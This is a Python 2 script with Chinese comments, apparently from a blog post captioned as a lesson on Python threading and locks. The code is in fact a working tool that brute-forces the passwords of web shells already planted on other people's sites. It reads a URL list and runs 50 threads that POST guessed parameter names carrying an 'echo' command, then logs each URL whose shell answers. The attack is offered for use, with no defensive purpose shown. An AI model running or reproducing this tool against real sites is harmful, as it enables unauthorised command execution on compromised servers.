#!/usr/bin/python
#coding=utf-8
###########################
##########################
import requests
import threading
import time
list_url = []
g_mutex = 0
text = "D://127.txt"
#f = text.readlines() #读取文件所有行
p = ['w','mybak','thinks','cyliner','pass']
def readFile(filename):
f = open(filename, "r")
lines=[]
while True:
line = f.readline() #读取文件中的一行
if line:
pass # do something here
line=line.strip()
#print "line %s"%line
lines.append(line)
else:
break
f.close()
return lines
def get_urllist():
global list_url
list_url = readFile(text) #获取text中所有列,即将URL存入所有列存入列表中
#for url in list_url:
# print url;
def saveFile(file, str):
with open(file, 'a') as output:
output.write(str+'\r\n')
output.flush()
def worker(url):
global p
for password in p:
print "----------------------------------------"
print url
payload = {password:'echo xhbokokokokokokokokokok;'}
try:
r = requests.post(url,data=payload,timeout=5)
except:
print "***************************************"
continue
content = r.content
if r.status_code == 200:
if content.find('xhbokokokokokokokokokok') != -1:
print 'url:' + url + ' ' + '[+]passwrod is:' + password
write_result = str('url:' + url + ' ' + '[+]passwrod is:' + password)
saveFile('d://url02.txt',write_result)
break
else:
#break
continue
def get_url():
global g_mutex #在此相当于一个全局锁
global list_url
if g_mutex == 1:
return ''
g_mutex = 1
if len(list_url) > 0:
url = list_url[0]
del list_url[0] #当获取到第一个URL后将其删除
print url
g_mutex = 0 #g_mutex为0时相当于解锁
return url
else:
g_mutex = 0
return 'finish'
def attack_website():
while(True):
url = get_url()
if url == '': ####锁住的时候,获取不到URL,等待
time.sleep(0.01)
continue
elif url == 'finish':
print 'finish'
return ##结束线程
worker(url)
if __name__ == '__main__':
get_urllist() #获取URL列表
for i in range(0, 50): #开辟50个线程
#t1 = threading.Thread(target=getUrlType, args=(lib,i)) # 直接使用Thread附加函数,args为参数
t1 = threading.Thread(target=attack_website)
t1.start()
有关Python线程、函数、锁相关的一个程序
最新推荐文章于 2022-11-10 17:33:26 发布